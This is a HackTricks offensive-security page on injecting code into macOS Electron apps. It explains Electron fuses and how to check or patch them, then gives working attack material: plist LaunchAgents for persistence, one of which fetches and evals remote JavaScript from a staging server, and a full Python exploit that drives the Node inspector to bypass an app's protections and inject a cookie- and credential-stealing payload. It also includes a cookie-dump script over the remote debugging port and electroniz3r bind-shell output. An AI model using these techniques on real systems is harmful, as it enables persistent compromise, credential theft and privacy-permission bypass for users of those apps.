macOS Electron Applications Injection - HackTricks

# macOS Electron Applications Injection

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Basic Information

If you don't know what Electron is you can find lots of information here. But for now just know that Electron runs node.
And node has some parameters and env variables that can be use to make it execute other code apart from the indicated file.

### Electron Fuses

These techniques will be discussed next, but in recent times Electron has added several security flags to prevent them. These are the Electron Fuses and these are the ones used to prevent Electron apps in macOS from loading arbitrary code:

- `RunAsNode`: If disabled, it prevents the use of the env var `ELECTRON_RUN_AS_NODE` to inject code.
- `EnableNodeCliInspectArguments`: If disabled, params like `--inspect`, `--inspect-brk` won't be respected. Avoiding his way to inject code.
- `EnableEmbeddedAsarIntegrityValidation`: If enabled, the loaded `asar` file will be validated by macOS. Preventing this way code injection by modifying the contents of this file.
- `OnlyLoadAppFromAsar`: If this is enabled, instead of searching to load in the following order: `app.asar`, `app` and finally `default_app.asar`. It will only check and use app.asar, thus ensuring that when combined with the `embeddedAsarIntegrityValidation` fuse it is impossible to load non-validated code.
- `LoadBrowserProcessSpecificV8Snapshot`: If enabled, the browser process uses the file called `browser_v8_context_snapshot.bin` for its V8 snapshot.

Another interesting fuse that won't be preventing code injection is:

- EnableCookieEncryption: If enabled, the cookie store on disk is encrypted using OS level cryptography keys.

### Checking Electron Fuses

You can check these flags from an application with:

    npx @electron/fuses read --app /Applications/Slack.app

    Analyzing app: Slack.app
    Fuse Version: v1
      RunAsNode is Disabled
      EnableCookieEncryption is Enabled
      EnableNodeOptionsEnvironmentVariable is Disabled
      EnableNodeCliInspectArguments is Disabled
      EnableEmbeddedAsarIntegrityValidation is Enabled
      OnlyLoadAppFromAsar is Enabled
      LoadBrowserProcessSpecificV8Snapshot is Disabled

### Modifying Electron Fuses

As the docs mention, the configuration of the Electron Fuses are configured inside the Electron binary which contains somewhere the string `dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`.

In macOS applications this is typically in `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`

    grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
    Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

You could load this file in https://hexed.it/ and search for the previous string. After this string you can see in ASCII a number "0" or "1" indicating if each fuse is disabled or enabled. Just modify the hex code (`0x30` is `0` and `0x31` is `1`) to modify the fuse values.

Note that if you try to overwrite the `Electron Framework` binary inside an application with these bytes modified, the app won't run.

## RCE adding code to Electron Applications

There could be external JS/HTML files that an Electron App is using, so an attacker could inject code in these files whose signature won't be checked and execute arbitrary code in the context of the app.

> [!CAUTION] However, at the moment there are 2 limitations:

> - The `kTCCServiceSystemPolicyAppBundles` permission is needed to modify an App, so by default this is no longer possible.
> - The compiled `asap` file usually has the fuses `embeddedAsarIntegrityValidation` `and` `onlyLoadAppFromAsar` `enabled`

> Making this attack path more complicated (or impossible).

Note that it's possible to bypass the requirement of `kTCCServiceSystemPolicyAppBundles` by copying the application to another directory (like `/tmp`), renaming the folder `app.app/Contents` to `app.app/NotCon`, modifying the asar file with your malicious code, renaming it back to `app.app/Contents` and executing it.

You can unpack the code from the asar file with:

    npx asar extract app.asar app-decomp

And pack it back after having modified it with:

    npx asar pack app-decomp app-new.asar

## RCE with ELECTRON_RUN_AS_NODE

According to the docs, if this env variable is set, it will start the process as a normal Node.js process.

    # Run this
    ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
    # Then from the nodeJS console execute:
    require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

> [!CAUTION] If the fuse `RunAsNode` is disabled the env var `ELECTRON_RUN_AS_NODE` will be ignored, and this won't work.

### Injection from the App Plist

As proposed here, you could abuse this env variable in a plist to maintain persistence:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>EnvironmentVariables</key>
        <dict>
               <key>ELECTRON_RUN_AS_NODE</key>
               <string>true</string>
        </dict>
        <key>Label</key>
        <string>com.xpnsec.hideme</string>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
            <string>-e</string>
            <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
    </plist>

## RCE with `NODE_OPTIONS`

You can store the payload in a different file and execute it:

    # Content of /tmp/payload.js
    require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

    # Execute
    NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

> [!CAUTION] If the fuse `EnableNodeOptionsEnvironmentVariable` is disabled, the app will ignore the env var NODE_OPTIONS when launched unless the env variable `ELECTRON_RUN_AS_NODE` is set, which will be also ignored if the fuse `RunAsNode` is disabled.

> If you don't set `ELECTRON_RUN_AS_NODE` , you will find the error: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`

### Injection from the App Plist

You could abuse this env variable in a plist to maintain persistence adding these keys:

    <dict>
        <key>EnvironmentVariables</key>
        <dict>
               <key>ELECTRON_RUN_AS_NODE</key>
               <string>true</string>
               <key>NODE_OPTIONS</key>
               <string>--require /tmp/payload.js</string>
        </dict>
        <key>Label</key>
        <string>com.hacktricks.hideme</string>
        <key>RunAtLoad</key>
        <true/>
    </dict>

## RCE with inspecting

According to this, if you execute an Electron application with flags such as `--inspect`, `--inspect-brk` and `--remote-debugging-port`, a debug port will be open so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to inject code on it or even launch new processes.
For example:

    /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
    # Connect to it using chrome://inspect and execute a calculator with:
    require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

In this blogpost, this debugging is abused to make a headless chrome download arbitrary files in arbitrary locations.

> [!TIP] If an app has its custom way to check if env variables or params such as `--inspect` are set, you could try to bypass it in runtime using the arg `--inspect-brk` which will stop the execution at the beggining the app and execute a bypass (overwritting the args or the env variables of the current process for example).

The folllowing was an exploit that monitoring and executing the app with the param `--inspect-brk` it was possible to bypass the custom protection it had (overwritting the params of the process to remove `--inspect-brk`) and then injecting a JS payload to dump cookies and credentials from the app:

    import asyncio
    import websockets
    import json
    import requests
    import os
    import psutil
    from time import sleep

    INSPECT_URL = None
    CONT = 0
    CONTEXT_ID = None
    NAME = None
    UNIQUE_ID = None

    JS_PAYLOADS = """
    var { webContents } = require('electron');
    var fs = require('fs');

    var wc = webContents.getAllWebContents()[0]

    function writeToFile(filePath, content) {
        const data = typeof content === 'string' ? content : JSON.stringify(content, null, 2);

        fs.writeFile(filePath, data, (err) => {
            if (err) {
                console.error(`Error writing to file ${filePath}:`, err);
            } else {
                console.log(`File written successfully at ${filePath}`);
            }
        });
    }

    function get_cookies() {
        intervalIdCookies = setInterval(() => {
            console.log("Checking cookies...");
            wc.session.cookies.get({})
            .then((cookies) => {
                tokenCookie = cookies.find(cookie => cookie.name === "token");
                if (tokenCookie){
                    writeToFile("/tmp/cookies.txt", cookies);
                    clearInterval(intervalIdCookies);
                    wc.executeJavaScript(`alert("Cookies stolen and written to /tmp/cookies.txt")`);
                }
            })
        }, 1000);
    }

    function get_creds() {
        in_location = false;
        intervalIdCreds = setInterval(() => {
            if (wc.mainFrame.url.includes("https://www.victim.com/account/login")) {
                in_location = true;
                console.log("Injecting creds logger...");
                wc.executeJavaScript(`
                    (function() {
                        email = document.getElementById('login_email_id');
                        password = document.getElementById('login_password_id');
                        if (password && email) {
                            return email.value+":"+password.value;
                        }
                    })();
                `).then(result => {
                    writeToFile("/tmp/victim_credentials.txt", result);
                })
            }
            else if (in_location) {
                wc.executeJavaScript(`alert("Creds stolen and written to /tmp/victim_credentials.txt")`);
                clearInterval(intervalIdCreds);
            }
        }, 10); // Check every 10ms
        setTimeout(() => clearInterval(intervalId), 20000); // Stop after 20 seconds
    }

    get_cookies();
    get_creds();
    console.log("Payloads injected");
    """

    async def get_debugger_url():
        """
        Fetch the local inspector's WebSocket URL from the JSON endpoint.
        Assumes there's exactly one debug target.
        """
        global INSPECT_URL

        url = "http://127.0.0.1:9229/json"
        response = requests.get(url)
        data = response.json()
        if not data:
            raise RuntimeError("No debug targets found on port 9229.")
        # data[0] should contain an object with "webSocketDebuggerUrl"
        ws_url = data[0].get("webSocketDebuggerUrl")
        if not ws_url:
            raise RuntimeError("webSocketDebuggerUrl not found in inspector data.")
        INSPECT_URL = ws_url

    async def monitor_victim():
        print("Monitoring victim process...")
        found = False
        while not found:
            sleep(1)  # Check every second
            for process in psutil.process_iter(attrs=['pid', 'name']):
                try:
                    # Check if the process name contains "victim"
                    if process.info['name'] and 'victim' in process.info['name']:
                        found = True
                        print(f"Found victim process (PID: {process.info['pid']}). Terminating...")
                        os.kill(process.info['pid'], 9)  # Force kill the process
                except (psutil.NoSuchProcess, psutil.AccessDenied, psutil.ZombieProcess):
                    # Handle processes that might have terminated or are inaccessible
                    pass
        os.system("open /Applications/victim.app --args --inspect-brk")

    async def bypass_protections():
        global CONTEXT_ID, NAME, UNIQUE_ID
        print(f"Connecting to {INSPECT_URL} ...")

        async with websockets.connect(INSPECT_URL) as ws:
            data = await send_cmd(ws, "Runtime.enable", get_first=True)
            CONTEXT_ID = data["params"]["context"]["id"]
            NAME = data["params"]["context"]["name"]
            UNIQUE_ID = data["params"]["context"]["uniqueId"]

            sleep(1)

            await send_cmd(ws, "Debugger.enable", {"maxScriptsCacheSize": 10000000})

            await send_cmd(ws, "Profiler.enable")

            await send_cmd(ws, "Debugger.setBlackboxPatterns", {"patterns": ["/node_modules/|/browser_components/"], "skipAnonnymous": False})

            await send_cmd(ws, "Runtime.runIfWaitingForDebugger")

            await send_cmd(ws, "Runtime.executionContextCreated", get_first=False, params={"context": {"id": CONTEXT_ID, "origin": "", "name": NAME, "uniqueId": UNIQUE_ID, "auxData": {"isDefault": True}}})

            code_to_inject = """process['argv'] = ['/Applications/victim.app/Contents/MacOS/victim']"""
            await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression": code_to_inject, "uniqueContextId":UNIQUE_ID})
            print("Injected code to bypass protections")

    async def js_payloads():
        global CONT, CONTEXT_ID, NAME, UNIQUE_ID

        print(f"Connecting to {INSPECT_URL} ...")

        async with websockets.connect(INSPECT_URL) as ws:
            data = await send_cmd(ws, "Runtime.enable", get_first=True)
            CONTEXT_ID = data["params"]["context"]["id"]
            NAME = data["params"]["context"]["name"]
            UNIQUE_ID = data["params"]["context"]["uniqueId"]
            await send_cmd(ws, "Runtime.compileScript", get_first=False, params={"expression":JS_PAYLOADS,"sourceURL":"","persistScript":False,"executionContextId":1})
            await send_cmd(ws, "Runtime.evaluate", get_first=False, params={"expression":JS_PAYLOADS,"objectGroup":"console","includeCommandLineAPI":True,"silent":False,"returnByValue":False,"generatePreview":True,"userGesture":False,"awaitPromise":False,"replMode":True,"allowUnsafeEvalBlockedByCSP":True,"uniqueContextId":UNIQUE_ID})

    async def main():
        await monitor_victim()
        sleep(3)
        await get_debugger_url()
        await bypass_protections()

        sleep(7)

        await js_payloads()

    async def send_cmd(ws, method, get_first=False, params={}):
        """
        Send a command to the inspector and read until we get a response with matching "id".
        """
        global CONT

        CONT += 1

        # Send the command
        await ws.send(json.dumps({"id": CONT, "method": method, "params": params}))
        sleep(0.4)

        # Read messages until we get our command result
        while True:
            response = await ws.recv()
            data = json.loads(response)

            # Print for debugging
            print(f"[{method} / {CONT}] ->", data)

            if get_first:
                return data

            # If this message is a response to our command (by matching "id"), break
            if data.get("id") == CONT:
                return data

            # Otherwise it's an event or unrelated message; keep reading

    if __name__ == "__main__":
        asyncio.run(main())

> [!CAUTION] If the fuse `EnableNodeCliInspectArguments` is disabled, the app will ignore node parameters (such as `--inspect`) when launched unless the env variable `ELECTRON_RUN_AS_NODE` is set, which will be also ignored if the fuse `RunAsNode` is disabled.

> However, you could still use the electron param `--remote-debugging-port=9229` but the previous payload won't work to execute other processes.

Using the param `--remote-debugging-port=9222` it's possible to steal some information from the Electron App like the history (with GET commands) or the cookies of the browser (as they are decrypted inside the browser and there is a json endpoint that will give them).

You can learn how to do that in here and here and use the automatic tool WhiteChocolateMacademiaNut or a simple script like:

    import websocket
    ws = websocket.WebSocket()
    ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
    ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
    print(ws.recv()

### Injection from the App Plist

You could abuse this env variable in a plist to maintain persistence adding these keys:

    <dict>
        <key>ProgramArguments</key>
        <array>
            <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
            <string>--inspect</string>
        </array>
        <key>Label</key>
        <string>com.hacktricks.hideme</string>
        <key>RunAtLoad</key>
        <true/>
    </dict>

## TCC Bypass abusing Older Versions

> [!TIP] The TCC daemon from macOS doesn't check the executed version of the application. So if you cannot inject code in an Electron application with any of the previous techniques you could download a previous version of the APP and inject code on it as it will still get the TCC privileges (unless Trust Cache prevents it).

## Run non JS Code

The previous techniques will allow you to run JS code inside the process of the electron application. However, remember that the child processes run under the same sandbox profile as the parent application and inherit their TCC permissions.
Therefore, if you want to abuse entitlements to access the camera or microphone for example, you could just run another binary from the process.

## Automatic Injection

The tool electroniz3r can be easily used to find vulnerable electron applications installed and inject code on them. This tool will try to use the `--inspect` technique:

You need to compile it yourself and can use it like this:

    # Find electron apps
    ./electroniz3r list-apps

    ╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
    ║    Bundle identifier                      │       Path                                               ║
    ╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
    com.microsoft.VSCode                         /Applications/Visual Studio Code.app
    org.whispersystems.signal-desktop            /Applications/Signal.app
    org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
    com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
    com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
    org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
    com.github.GitHubClient                      /Applications/GitHub Desktop.app
    com.ledger.live                              /Applications/Ledger Live.app
    com.postmanlabs.mac                          /Applications/Postman.app
    com.tinyspeck.slackmacgap                    /Applications/Slack.app
    com.hnc.Discord                              /Applications/Discord.app

    # Check if an app has vulenrable fuses vulenrable
    ## It will check it by launching the app with the param "--inspect" and checking if the port opens
    /electroniz3r verify "/Applications/Discord.app"

    /Applications/Discord.app started the debug WebSocket server
    The application is vulnerable!
    You can now kill the app using `kill -9 57739`

    # Get a shell inside discord
    ## For more precompiled-scripts check the code
    ./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

    /Applications/Discord.app started the debug WebSocket server
    The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
    Shell binding requested. Check `nc 127.0.0.1 12345`

## References

- https://www.electronjs.org/docs/latest/tutorial/fuses
- https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks
- https://m.youtube.com/watch?v=VWQY5R2A6X8

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.